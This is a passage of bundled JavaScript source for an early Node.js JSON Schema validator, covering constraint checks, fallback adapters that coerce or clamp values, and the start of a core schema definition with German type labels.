{\n\t\t\t\t\t\t\n\t\t\t\t\t\t\tthis.push(this.schema.additionalProperties, key);\n\t\t\t\t\t\t\tinstance[key] = this.start(instance[key]);\n\t\t\t\t\t\t\tthis.pop();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if (this.schema.items instanceof Array) {\n\n\t\t\t\tif (!this.schema.additionalProperties) {\n\t\t\t\t\t\n\t\t\t\t\tif (instance.length > this.schema.items.length) {\n\t\t\t\t\t\n\t\t\t\t\t\treturn this.schema.__additionalProperties.call(this, instance);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse if (this.schema.additionalProperties !== true) {\n\t\t\t\t\t\n\t\t\t\t\tfor (var li = instance.length, i = this.schema.items.length; i < li; i++) {\n\t\t\n\t\t\t\t\t\tthis.push(this.schema.additionalProperties, i);\n\t\t\t\t\t\tinstance[i] = this.start(instance[i]);\n\t\t\t\t\t\tthis.pop();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn instance;\n\t},\n\t\n\titems: function (instance) {\n\t\n\t\tif ('items' in this.schema) {\n\t\t\n\t\t\tif (this.schema.items instanceof Array) {\n\t\t\t\n\t\t\t\tvar isIn, inst;\n\t\t\t\tfor (var li = this.schema.items.length, i = 0; i < li; i++) {\n\t\t\t\t\n\t\t\t\t\tthis.push(this.schema.items[i], i);\n\t\t\t\t\tisIn = i in instance;\n\t\t\t\t\tinst = this.start(instance[i]);\n\t\t\t\t\tif (isIn || inst !== undefined) instance[i] = inst;\n\t\t\t\t\tthis.pop();\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\n\t\t\t\tfor (var li = instance.length, i = 0; i < li; i++) {\n\t\t\t\t\n\t\t\t\t\tthis.push(this.schema.items, i);\n\t\t\t\t\tinstance[i] = this.start(instance[i]);\n\t\t\t\t\tthis.pop();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn instance;\n\t},\n\t\n\tmaxItems: function (instance) {\n\t\n\t\treturn this.schema.maxItems && instance.length > this.schema.maxItems\n\t\t\t? this.schema.__maxItems.call(this, instance)\n\t\t\t: instance;\n\t},\n\t\n\tminItems: function (instance) {\n\t\n\t\treturn this.schema.minItems && instance.length < this.schema.minItems\n\t\t\t? this.schema.__minItems.call(this, instance)\n\t\t\t: instance;\n\t},\n\t\n\tminimum: function (instance) {\n\t\n\t\tif (!('minimum' in this.schema)) return instance;\n\t\n\t\n\t\tvar minimumCanEqual = 'minimumCanEqual' in this.schema\n\t\t\t? this.schema.minimumCanEqual\n\t\t\t: true;\n\t\treturn (minimumCanEqual\n\t\t\t? instance >= this.schema.minimum\n\t\t\t: instance > this.schema.minimum\n\t\t)\n\t\t\t? instance\n\t\t\t: this.schema.__minimum.call(this, instance);\n\t},\n\t\n\tmaximum: function (instance) {\n\t\n\t\tif (!('maximum' in this.schema)) return instance;\n\t\n\t\n\t\tvar maximumCanEqual = 'maximumCanEqual' in this.schema\n\t\t\t? this.schema.maximumCanEqual\n\t\t\t: true;\n\t\treturn (maximumCanEqual\n\t\t\t? instance <= this.schema.maximum\n\t\t\t: instance < this.schema.maximum\n\t\t)\n\t\t\t? instance\n\t\t\t: this.schema.__maximum.call(this, instance);\n\t},\n\t\n\tmaxDecimal: function (instance) {\n\t\n\t\tif ('maxDecimal' in this.schema) {\n\t\t\n\t\t\tvar factor = Math.pow(10, this.schema.maxDecimal);\n\t\t\treturn Math.round(instance * factor) / factor === instance\n\t\t\t\t? instance\n\t\t\t\t: this.schema.__maxDecimal.call(this, instance);\n\t\t}\n\t\t\n\t\treturn instance;\n\t},\n\t\n\tpattern: function (instance) {\n\t\n\t\tif (!this.schema.pattern) return instance;\n\t\t\n\t\treturn this.schema.pattern.test(instance)\n\t\t\t? instance\n\t\t\t: this.schema.__pattern.call(this, instance);\n\t},\n\t\n\tminLength: function (instance) {\n\t\n\t\tif (this.schema.minLength === undefined) return instance;\n\n\t\treturn instance.length >= this.schema.minLength\n\t\t\t? instance\n\t\t\t: this.schema.__minLength.call(this, instance);\n\t},\n\t\n\tmaxLength: function (instance) {\n\t\n\t\tif (this.schema.maxLength === undefined) return instance;\n\t\n\t\treturn instance.length <= this.schema.maxLength\n\t\t\t? instance\n\t\t\t: this.schema.__maxLength.call(this, instance);\n\t}\n});\n\nObject.extend(Validation, {\n\n\t_id: 0,\n\tError: _Error\n});\n\n\n\n\nfunction Schema (rawSchema) {\n\t\t\n\tif (typeof rawSchema === 'string') rawSchema = JSON.parse(rawSchema);\n\n\tif (rawSchema instanceof Schema) return rawSchema;\n\t\n\t\n\tObject.extend(this, rawSchema);\n\t\n\tvar id = typeof this.id === 'string'\n\t\t? this.id\n\t\t: '__'+(++Schema._id);\n\tthis.constructor.instances[id] = this;\n};\n\nObject.extend(Schema.prototype, {\n\n\tvalidate: function (instance) {\n\t\n\t\treturn new Validation(this, instance);\n\t},\n\n\tsetFallbacks: function (obj) {\n\t\n\t\tvar adapterName;\n\t\n\t\tfor (var propertyName in obj) {\n\t\n\t\t\tadapterName = obj[propertyName];\n\t\n\t\t\tif (!(adapterName in Schema.plugins)) throw 'Fallback not registered!';\n\t\n\t\n\t\t\tthis['__'+propertyName] = Schema.plugins[adapterName](propertyName);\n\t\t}\n\t\t\n\t\treturn this;\n\t}\n});\n\t\nObject.extend(Schema, {\n\n\t_id: 0,\n\n\tcreate: function (rawSchema) {\n\t\n\t\tvar validation = Schema.instances.jsonSchemaCore.validate(rawSchema);\n\t\tif (validation.isError()) {\n\t\t\n\t\t\tvar E = new Error('Invalid schema');\n\t\t\tE.validation = validation\n\t\t\tthrow E;\n\t\t}\n\t\t\n\t\treturn validation.instance;\n\t},\n\t\n\tcreateSeveral: function (schemaDict) {\n\t\n\t\tfor (var key in schemaDict) {\n\t\t\n\t\t\tif (schemaDict[key].id === undefined) schemaDict[key].id = key;\n\t\t\t\n\t\t\t\n\t\t\tschemaDict[key] = this.create(schemaDict[key]);\n\t\t}\n\t\t\n\t\treturn schemaDict;\n\t},\n\n\tinstances: {},\n\n\tValidation: Validation,\n\t\n\tresolveRefs: function () {\n\t\n\t\tfor (var id in this.instances) {\n\n\t\t\tObject.resolveRefs(this.instances[id], true);\n\t\t}\n\t},\n\n\tplugins: {},\n\t\n\tmessages: {\n\t\t\n\t\ttype: {\n\t\t\n\t\t\tde: function () {\n\n\t\t\t\t//return 'Dieser Wert muss vom Typ %s sein.'.sprintf(Schema.instances.jsonSchemaCore.properties.type.labels[this.schema.type].de);\n\t\t\t}\n\t\t}\n\t},\n\t\n\tTOLERANT_FALLBACKS: {\n\n\t\toptional: 'setDefault',\n\t\ttype: 'castTolerantlyToType',\n\t\tenum: 'setDefault',\n\t\trequires: 'pushError',\n\t\tadditionalProperties: 'removeAdditionalProperties',\n\t\tmaxItems: 'sliceToMaxItems',\n\t\tminItems: 'pushError',\n\t\tmaximum: 'setMaximum',\n\t\tminimum: 'setMinimum',\n\t\tmaxDecimal: 'roundToMaxDecimal',\n\t\tpattern: 'pushError',\n\t\tminLength: 'pushError',\n\t\tmaxLength: 'pushError'\n\t},\n\t\n\tSTRICT_FALLBACKS: {\n\t\n\t\toptional: 'pushError',\n\t\ttype: 'pushError',\n\t\tenum: 'pushError',\n\t\trequires: 'pushError',\n\t\tadditionalProperties: 'pushError',\n\t\tmaxItems: 'pushError',\n\t\tminItems: 'pushError',\n\t\tmaximum: 'pushError',\n\t\tminimum: 'pushError',\n\t\tmaxDecimal: 'pushError',\n\t\tpattern: 'pushError',\n\t\tminLength: 'pushError',\n\t\tmaxLength: 'pushError'\n\t}\n});\n\nObject.extend(Schema.plugins, require('./plugins/default'));\n\nSchema.prototype.setFallbacks(Schema.TOLERANT_FALLBACKS);\n\nObject.extend(Schema.plugins, {\n\n\n\t// adapters - for the core schema\n\t\n\taddToRefs: function (instance) {\n\n\t\tif (instance instanceof Object\n\t\t\t&& typeof instance.$ref === 'string') {\n\n\t\t\t/// Still no URIs supported\n\t\t\tvar toPath = this.path,\n\t\t\t\tfromPath = instance.$ref.split('.');\n\t\t\t\n\t\t\tObject.addRef(\n\t\t\t\tthis.instance,\n\t\t\t\ttoPath.clone(),\n\t\t\t\tfromPath[0] === '#'\n\t\t\t\t\t? fromPath.clone()\n\t\t\t\t\t: ['__Schema', 'instances'].concat(fromPath)\n\t\t\t);\n\t\t}\n\t\t\n\t\treturn instance;\n\t},\n\t\n\tinstantiateSchema: function (instance) {\n\t\t\n\t\tif (instance instanceof Schema || !(instance instanceof Object)) return instance;\n\t\t\n\t\t\n\t\tvar isThisInstance = instance === this.instance;\n\t\tinstance = new Schema(instance);\n\t\tif (isThisInstance) this.instance = instance;\n\t\t\n\t\tif (instance.properties instanceof Object) {\n\n\t\t\tvar props = instance.properties || {};\n\n\t\t\tfor (var key in props) {\n\t\t\n\t\t\t\tif (props[key] instanceof Object && !(props[key] instanceof Schema))\n\t\t\t\t\tprops[key] = new Schema(props[key]);\n\t\t\t}\n\t\t}\n\t\t\n\t\tif (instance.items instanceof Array) {\n\t\t\n\t\t\tvar items = instance.items;\n\t\t\tfor (var li = items.length, i = 0; i < li; i++) {\n\t\t\n\t\t\t\tif (items[i] instanceof Object && !(items[i] instanceof Schema))\n\t\t\t\t\titems[i] = new Schema(items[i]);\n\t\t\t}\n\t\t}\n\t\telse if (instance.items instanceof Object) {\n\t\t\n\t\t\tif (!(instance.items instanceof Schema))\n\t\t\t\tinstance.items = new Schema(instance.items);\n\t\t}\n\t\t\n\t\tif (instance.requires \n\t\t\t&& instance.requires instanceof Object\n\t\t\t&& !(instance.requires instanceof Schema)) {\n\t\t\n\t\t\tinstance.requires = new Schema(instance.requires);\n\t\t}\n\t\t\n\t\tif (instance.additionalProperties instanceof Object\n\t\t\t&& !(instance.additionalProperties instanceof Schema)) {\n\t\t\n\t\t\tinstance.additionalProperties = new Schema(instance.additionalProperties);\n\t\t}\n\t\t\n\t\tif (instance.extends instanceof Object) {\n\n\t\t\tif (!(instance.extends instanceof Schema)) {\n\t\t\t\n\t\t\t\tinstance.extends = new Schema(instance.extends);\n\t\t\t}\n\t\t}\n\t\t\n\t\tif (instance.fallbacks) {\n\t\n\t\t\tinstance.setFallbacks(instance.fallbacks);\n\t\t\tdelete instance.fallbacks;\n\t\t}\n\t\t\n\t\tObject.resetRefs(instance);\n\t\t\n\t\treturn instance;\n\t}\n});\n\n\n\n\nvar jsonSchemaCore = require('./schemas/jsonSchemaCore');\n\n/* The schema schema cannot validate/adapt itself after having been instantiated from raw JSON.\n * At first we apply all adaptations manually, including:\n * - instantiating (sub)schemas\n * - resolve references\n * - set fallbacks (strict)\n * - eventually make extends change the parent schema\n */\n\njsonSchemaCore = new Schema(jsonSchemaCore);\njsonSchemaCore.setFallbacks(Schema.STRICT_FALLBACKS);\n\nfor (var key in jsonSchemaCore.properties) {\n\n\tjsonSchemaCore.properties[key] = new Schema(jsonSchemaCore.properties[key]);\n\tjsonSchemaCore.properties[key].setFallbacks(Schema.STRICT_FALLBACKS);\n}\n\njsonSchemaCore.properties.type.items = new Schema(jsonSchemaCore.properties.type.items);\njsonSchemaCore.properties.type.items.setFallbacks(Schema.STRICT_FALLBACKS);\njsonSchemaCore.properties.type.items.enum = jsonSchemaCore.properties.type.enum;\n\njsonSchemaCore.properties.id.pattern = new RegExp(jsonSchemaCore.properties.id.pattern);\n\njsonSchemaCore.properties.options.items = new Schema(jsonSchemaCore.properties.options.items);\njsonSchemaCore.properties.options.items.setFallbacks(Schema.STRICT_FALLBACKS);\n\njsonSchemaCore.properties.requires.properties = jsonSchemaCore.properties;\n\njsonSchemaCore.properties.adapters.items = new Schema(jsonSchemaCore.properties.adapters.items);\njsonSchemaCore.properties.adapters.items.setFallbacks(Schema.STRICT_FALLBACKS);\n\njsonSchemaCore.properties.fallbacks.additionalProperties = new Schema(jsonSchemaCore.properties.fallbacks.additionalProperties);\njsonSchemaCore.properties.fallbacks.additionalProperties.setFallbacks(Schema.STRICT_FALLBACKS);\n\njsonSchemaCore.properties.properties.additionalProperties = jsonSchemaCore;\n\n//Luhmannesk moment\n//jsonSchemaCore.properties.extends.extends = jsonSchemaCore;\n\njsonSchemaCore.properties.items.properties = jsonSchemaCore.properties;\njsonSchemaCore.properties.items.items = jsonSchemaCore;\n\njsonSchemaCore.properties.additionalProperties.properties = jsonSchemaCore.properties;\n\n/* Now, the core schema should be as if it had validated itself.\n * Check it out:\n */\n\nvar validation = jsonSchemaCore.validate(jsonSchemaCore);\n\nif (validation.isError()) {\n\n\tsys.puts('The core schema is not valid!');\n\tvalidation.errors.forEach(function (error) {\n\t\n\t\tsys.puts(sys.inspect(error));\n\t});\n\tsys.puts(sys.inspect(validation));\n}\n\n\n\n\nglobal.__Schema = module.exports = Schema;", "plugins/default.js": "var sys = require('sys');\nrequire('extensions');\n\n\nmodule.exports = {\n\n\n\t// fallbacks\n\n\tcastTolerantlyToType: function (errorName) { \n\n\t\treturn function (instance) {\n\n\t\t\tvar toType = this.schema.type,\n\t\t\t\tfromType = typeof instance,\n\t\t\t\tinst;\n\t\t\t\n\t\t\tif (toType === 'string') {\n\t\t\t\n\t\t\t\tif (fromType === 'object') {\n\t\t\n\t\t\t\t\tif (\n\t\t\t\t\t\tinstance !== null\n\t\t\t\t\t\t&& typeof instance.toString === 'function'\n\t\t\t\t\t\t&& instance.toString !== Object.prototype.toString\n\t\t\t\t\t\t&& instance.toString !== Array.prototype.toString\n\t\t\t\t\t) return ''+instance;\n\t\t\t\t\t\n\t\t\t\t\tthis.pushError(errorName);\n\t\t\t\t\treturn instance;\n\t\t\t\t}\n\t\t\t\treturn ''+instance;\n\t\t\t}\n\t\t\t\n\t\t\tif (toType === 'number') {\n\t\t\t\n\t\t\t\tif (fromType !== 'boolean') {\n\t\t\t\t\n\t\t\t\t\tinst = parseFloat(instance);\n\t\t\t\t\tif (isNaN(inst)) {\n\t\t\t\t\t\n\t\t\t\t\t\tthis.pushError(errorName);\n\t\t\t\t\t\treturn instance;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\treturn inst;\n\t\t\t\t}\n\t\t\t\tif (instance === false) return 0;\n\t\t\t\tif (instance === true) return 1;\n\t\t\t}\n\t\t\t\n\t\t\tif (toType === 'integer') {\n\t\t\t\n\t\t\t\tif (fromType !== 'boolean') {\n\t\t\t\t\n\t\t\t\t\tinst = parseInt(instance, 10);\n\t\t\t\t\tif (isNaN(inst)) {\n\t\t\t\t\t\n\t\t\t\t\t\tthis.pushError(errorName);\n\t\t\t\t\t\treturn instance;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\treturn inst;\n\t\t\t\t}\n\t\t\t\tif (instance === false) return 0;\n\t\t\t\tif (instance === true) return 1;\n\t\t\t}\n\t\t\t\n\t\t\tif (toType === 'boolean') {\n\t\t\t\n\t\t\t\tif (fromType === 'string') {\n\t\t\n\t\t\t\t\tif (instance.trim().toLowerCase() === 'false') return false;\n\t\t\t\t\t\n\t\t\t\t\tinst = parseFloat(instance);\n\t\t\t\t\treturn isNaN(inst) ? true : !!inst;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (fromType === 'object') {\n\t\t\t\t\n\t\t\t\t\tthis.pushError(errorName);\n\t\t\t\t\treturn instance;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn !!instance;\n\t\t\t}\n\t\t\t\n\t\t\tif (toType === 'object') {\n\t\t\t\n\t\t\t\tif (instance instanceof Array && instance.length === 0) return {};\n\t\t\t\tif (fromType !== 'object' || instance === null) this.pushError(errorName);\n\t\t\t\treturn instance;\n\t\t\t}\n\t\t\t\n\t\t\tif (toType === 'array') {\n\t\t\t\n\t\t\t\tif (!instance) return [];\n\t\t\t\tif (instance instanceof Object) {\n\t\t\t\t\n\t\t\t\t\tif (Object.keys(instance).length === 0) return [];\n\t\t\t\t}\n\t\t\t\tthis.pushError(errorName);\n\t\t\t\treturn instance;\n\t\t\t}\n\t\t\t\n\t\t\tif (toType === 'null') {\n\t\t\t\n\t\t\t\tthis.pushError(errorName);\n\t\t\t\treturn instance;\n\t\t\t}\n\t\t};\n\t},\n\t\n\troundToMaxDecimal: function (errorName) {\n\t\n\t\treturn function (instance) {\n\t\n\t\t\tif (this.schema.maxDecimal === undefined) {\n\t\t\t\n\t\t\t\tthis.pushError(errorName);\n\t\t\t\treturn instance;\n\t\t\t}\n\t\n\t\t\tvar factor = Math.pow(10, this.schema.maxDecimal);\n\t\t\treturn Math[instance < 0 ? 'ceil' : 'floor'](instance * factor) / factor;\n\t\t};\n\t},\n\t\n\tsetMinimum: function (errorName) {\n\t\n\t\treturn function (instance) {\n\t\n\t\t\tif (this.schema.minimum === undefined) {\n\t\t\t\n\t\t\t\tthis.pushError(errorName);\n\t\t\t\treturn instance;\n\t\t\t}\n\t\n\t\t\treturn this.schema.minimum;\n\t\t};\n\t},\n\t\n\tsetMaximum: function (errorName) {\n\t\n\t\treturn function (instance) {\n\t\n\t\t\tif (this.schema.maximum === undefined) {\n\t\t\t\n\t\t\t\tthis.pushError(errorName);\n\t\t\t\treturn instance;\n\t\t\t}\n\t\t\n\t\t\treturn this.schema.maximum;\n\t\t};\n\t},\n\t\n\ttruncateToMaxLength: function (errorName) {\n\t\n\t\treturn function (instance) {\n\t\t\n\t\t\tif (this.schema.maxLength === undefined) {\n\t\t\t\n\t\t\t\tthis.pushError(errorName);\n\t\t\t\treturn instance;\n\t\t\t}\n\t\t\n\t\t\treturn instance.substr(0, this.schema.maxLength);\t\n\t\t};\n\t},\n\t\n\tsetDefault: function (errorName) {\n\t\n\t\treturn function (instance) {\n\n\t\t\tif ('default' in this.schema) return this.schema['default'];\n\t\t\t\n\t\t\tthis.pushError(errorName);\n\t\t};\n\t},\n\t\n\tremoveAdditionalProperties: function (errorName) {\n\t\n\t\treturn function (instance) {\n\t\n\t\t\tif (this.schema.type === 'object') {\n\t\t\n\t\t\t\tvar props = this.schema.properties || {};\n\t\t\t\tfor (var ks = Object.keys(\n\t\t\t\t\tinstance\n\t\t\t\t), li = ks.length, i = 0, key; key = ks[i], i < li; i++) {\n\t\t\t\t\n\t\t\t\t\tif (props[key] === undefined) delete instance[key];\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn instance;\n\t\t\t}\n\t\t\t\n\t\t\tif (this.schema.items && this.schema.items instanceof Array) {\n\t\t\n\t\t\t\tfor (var li = instance.length, i = this.schema.items.length; i < li; i++) {\n\t\t\t\t\n\t\t\t\t\tdelete instance[i];\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\treturn instance;\n\t\t};\n\t},\n\t\n\tsliceToMaxItems: function (errorName) {\n\t\n\t\treturn function (instance) {\n\t\n\t\t\tif (this.schema.maxItems !== undefined) {\n\t\n\t\t\t\t/// instance.length will not change\n\t\t\t\t/*for (var li = instance.length, i = this.schema.maxItems; i < li; i++) {\n\t\t\t\t\n\t\t\t\t\tdelete instance[i];\n\t\t\t\t}*/\n\t\t\t\t\n\t\t\t\tif (instance.length > this.schema.maxItems) {\n\t\t\t\t\n\t\t\t\t\tinstance.splice(this.schema.maxItems);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse this.pushError(errorName);\n\t\t\t\n\t\t\treturn instance;\n\t\t};\n\t},\n\t\n\tpushError: function (errorName) {\n\t\n\t\treturn function (instance) {\n\t\n\t\t\tthis.pushError(errorName);\n\t\t\treturn instance;\n\t\t};\n\t},\n\t\n\tdeleteInstance: function (errorName) { \n\n\t\t/*\n\t\tDelete instance\n\t\t*/\n\t\treturn function (instance) {\n\t\t\t\n\t\t\t// Solution needed - undefined means that property still exists\n\t\t\treturn undefined;\n\t\t};\n\t}\n};", "schemas/jsonSchemaCore.js": "module.exports = {\n\n\tid: 'jsonSchemaCore',\n\ttitle: 'JSON Schema Core Schema',\n\tdescription: \"This is the JSON Schema for JSON Schemas.\",\n\ttype: \"object\",\n\t\n\tproperties: {\n\t\n\t\n\t\t// *\n\t\n\t\ttype: {\n\t\t\n\t\t\ttype: [\"string\", \"array\"],\n\t\t\titems: {\n\t\t\t\n\t\t\t\ttype: \"string\",\n\t\t\t\tenum: {\"$ref\": \"#.properties.type.enum\"}\n\t\t\t},\n\t\t\tuniqueItems: true,\n\t\t\tdescription: \"This is a type definition value. This can be a simple type, or a union type\",\n\t\t\tenum: [\"string\", \"object\", \"array\", \"boolean\", \"number\", \"integer\", \"null\", \"any\"],\n\t\t\tminItems: 2,\n\t\t\toptional: true,\n\t\t\t\"default\": \"any\",\n\t\t\t\tadapters: 'addToRefs',\n\t\t\t\tlabels: {\n\t\t\t\t\n\t\t\t\t\tde: {\n\t\t\t\t\t\n\t\t\t\t\t\tstring: 'Text',\n\t\t\t\t\t\tobject: 'Objekt',\n\t\t\t\t\t\tarray: 'Liste',\n\t\t\t\t\t\tboolean: 'wahr/falsch',\n\t\t\t\t\t\tnumber: 'Zahl',\n\t\t\t\t\t\tinteger: 'ganze Zahl',\n\t\t\t\t\t\t'null': 'undefiniert'\n\t\t\t\t\t},\n\t\t\t\t\ten: {\n\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t},\n\t\t\n\t\tid: {\n\t\t\n\t\t\ttype: \"string\",\n\t\t\toptional: true,\n\t\t\tminLength: 1,\n\t\t\tpattern: \"[^\\\\.#]\",\n\t\t\tdescription: \"A globally unique ID for this schema. It can be used to reference the schema from another one.\"\n\t\t},\n\t\t\n\t\toptional: {\n\t\t\n\t\t\ttype: \"boolean\",\n\t\t\tdescription: \"This indicates that the instance property in the instance object is not required.\",\n\t\t\toptional: true,\n\t\t\t\"default\": false,\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\t\t\n\t\tenum: {\n\t\t\ttype: \"array\",\n\t\t\toptional: true,\n\t\t\tdescription: \"This provides an enumeration of possible values that are valid for the instance property. It goes only for the first type, if type is an array of types.\",\n\t\t\tminItems: 1,\n\t\t\tuniqueItems: true\n\t\t},\n\t\t\n\t\tdescription: {\n\t\t\n\t\t\ttype: \"string\",\n\t\t\toptional: true,\n\t\t\tdescription: \"This provides a description of the purpose the instance property. The value can be a string or it can be an object with properties corresponding to various different instance languages (with an optional default property indicating the default description).\",\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\t\t\n\t\ttitle: {\n\t\t\n\t\t\ttype: \"string\",\n\t\t\toptional: true,\n\t\t\tdescription: \"This provides the title of the property\",\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\t\t\n\t\t\"default\": {\n\t\t\ttype: \"any\",\n\t\t\toptional: true,\n\t\t\tdescription: \"This indicates the default for the instance property.\",\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\t\t\n\t\t// should go with enum\n\t\toptions: {\n\t\t\n\t\t\ttype: \"array\",\n\t\t\toptional: true,\n\t\t\titems: {\n\t\t\t\ttype: \"object\",\n\t\t\t\tproperties: {\n\t\t\t\t\tlabel: {\n\t\t\t\t\t\ttype: \"string\",\n\t\t\t\t\t\toptional: true\n\t\t\t\t\t},\n\t\t\t\t\tvalue: {\n\t\t\t\t\t\ttype: \"any\"\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t},\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\t\t\n\t\textends: {\n\t\t\n\t\t\t// You cannot do this, because the schema itself is not optional\n\t\t\t// and so #.properties.extends does inherit from core schema, but\n\t\t\t// isn't as restrictive. So you cannot validate extends in a schema\n\t\t\t/// Better solution needed!\n\t\t\t//extends: {\"$ref\": \"#\"},\n\t\t\ttype: 'object',\n\t\t\toptional: true,\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\t\t\n\t\t// must be in object\n\t\trequires: {\n\t\t\n\t\t\ttype: [\"string\", \"object\"],\n\t\t\tproperties: {\"$ref\": \"#.properties\"},\n\t\t\toptional: true,\n\t\t\tdescription: \"indicates a required property or a schema that must be validated if this property is present\",\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\t\t\n\t\t\t// just for schema schemas ;)\n\t\t\tnonStandard: {\n\t\t\t\n\t\t\t\ttype: \"boolean\",\n\t\t\t\toptional: true,\n\t\t\t\t\"default\": false,\n\t\t\t\tnonStandard: true\n\t\t\t},\n\t\t\n\t\t\tadapters: {\n\t\t\n\t\t\t\t// Allow closures\n\t\t\t\ttype: ['string', 'array', 'any'],\n\t\t\t\titems: {\n\t\t\t\t\n\t\t\t\t\ttype: ['string', 'any']\n\t\t\t\t},\n\t\t\t\toptional: true,\n\t\t\t\tdescription: \"One or several adapters identified by plugin IDs\",\n\t\t\t\tnonStandard: true,\n\t\t\t\t\tadapters: 'addToRefs'\n\t\t\t},\n\t\t\t\n\t\t\tfallbacks: {\n\t\t\t\n\t\t\t\ttype: \"object\",\n\t\t\t\toptional: true,\n\t\t\t\tadditionalProperties: {\n\t\t\t\t\n\t\t\t\t\ttype: \"string\",\n\t\t\t\t\tdescription: \"Identifier for a adapter function that will be executed if a constraint is violated\"\n\t\t\t\t},\n\t\t\t\tdescription: \"Fallback object, with property names = schema property names\",\n\t\t\t\tnonStandard: true,\n\t\t\t\t\tadapters: 'addToRefs'\n\t\t\t},\n\t\t\t\n\t\t\n\t\t\n\t\t// object\n\t\t\n\t\tproperties: {\n\t\t\n\t\t\ttype: \"object\",\n\t\t\tadditionalProperties: {\"$ref\": \"#\"},\n\t\t\tdescription: \"This is a definition for the properties of an object value\",\n\t\t\toptional: true,\n\t\t\t\"default\": {},\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\t\t\n\t\t\n\t\t\n\t\t// array\n\t\t\n\t\titems: {\n\t\t\n\t\t\ttype: [\"object\", \"array\"],\n\t\t\tproperties: {\"$ref\": \"#.properties\"},\n\t\t\titems: {\"$ref\": \"#\"},\n\t\t\tdescription: \"When the value is an array, this indicates the schema to use to validate each item in an array\",\n\t\t\toptional: true,\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\t\t\n\t\tmaxItems: {\n\t\t\n\t\t\ttype: \"integer\",\n\t\t\toptional: true,\n\t\t\tdescription: \"When the instance value is an array, this indicates maximum number of items.\",\n\t\t\tminimum: 0,\n\t\t\tadapters: 'addToRefs'\n\t\t},\n\t\t\n\t\tminItems: {\n\t\t\n\t\t\ttype: \"integer\",\n\t\t\toptional: true,\n\t\t\tdescription: \"When the instance value is an array, this indicates minimum number of items.\",\n\t\t\tminimum: 0,\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\t\t\n\t\t\n\t\t\n\t\t// object, array\n\t\t\n\t\tadditionalProperties: {\n\t\t\n\t\t\ttype: [\"boolean\", \"object\"],\n\t\t\tproperties: {\"$ref\": \"#.properties\"},\n\t\t\tdescription: \"This provides a default property definition for all properties that are not explicitly defined in an object type definition.\",\n\t\t\toptional: true,\n\t\t\t\"default\": true,\n\t\t\t\tadapters: ['addToRefs']\n\t\t},\n\t\t\n\t\t\n\t\t\n\t\t// number, integer\n\t\t\n\t\tminimum: {\n\t\t\n\t\t\ttype: \"number\",\n\t\t\toptional: true,\n\t\t\tdescription: \"This indicates the minimum value for the instance property when the type of the instance value is a number.\",\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\t\t\n\t\tminimumCanEqual: {\n\t\t\n\t\t\ttype: \"boolean\",\n\t\t\toptional: true,\n\t\t\tdescription: \"If the minimum is defined, this indicates whether or not the instance property value can equal the minimum.\",\n\t\t\t\"default\": true,\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\t\t\n\t\tmaximum: {\n\t\t\n\t\t\ttype: \"number\",\n\t\t\toptional: true,\n\t\t\tdescription: \"This indicates the maximum value for the instance property when the type of the instance value is a number.\",\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\t\t\n\t\tmaximumCanEqual: {\n\t\t\n\t\t\ttype: \"boolean\",\n\t\t\toptional: true,\n\t\t\tdescription: \"If the maximum is defined, this indicates whether or not the instance property value can equal the maximum.\",\n\t\t\t\"default\": true,\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\t\t\n\t\tmaxDecimal: {\n\t\t\n\t\t\ttype: \"integer\",\n\t\t\toptional: true,\n\t\t\tdescription: \"This indicates the maximum number of decimal places in a floating point number.\",\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\t\t\n\t\t\n\t\t\n\t\t// string\n\t\t\n\t\tpattern: {\n\t\t\n\t\t\t// Allow JS RegExp instances\n\t\t\ttype: ['string', 'object'],\n\t\t\tformat: \"regex\",\n\t\t\tdescription: \"When the instance value is a string, this provides a regular expression that a instance string value should match in order to be valid.\",\n\t\t\toptional: true,\n\t\t\t\tadapters: [\n\t\t\t\t\t'addToRefs',\n\t\t\t\t\tfunction (instance, walker) {\n\t\t\t\t\n\t\t\t\t\t\tif (instance instanceof RegExp) return instance;\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\treturn new RegExp(instance);\n\t\t\t\t\t}\n\t\t\t\t]\n\t\t},\n\t\t\n\t\tmaxLength: {\n\t\t\n\t\t\ttype: \"number\",\n\t\t\toptional: true,\n\t\t\tdescription: \"When the instance value is a string, this indicates maximum length of the string.\",\n\t\t\t\tadapters: 'addToRefs'\n\t\t},\n\t\t\n\t\tminLength: {\n\t\t\n\t\t\ttype: \"number\",\n\t\t\toptional: true,\n\t\t\tdescription: \"When the instance value is a string, this indicates minimum length of the string.\",\n\t\t\tadapters: 'addToRefs'\n\t\t},\n\t\t\n\t\t\n\t\t\n\t\t// string, number, integer\n\t\t\n\t\tformat: {\n\t\t\ttype: \"string\",\n\t\t\toptional: true,\n\t\t\tdescription: \"This indicates what format the data is among some predefined formats which may 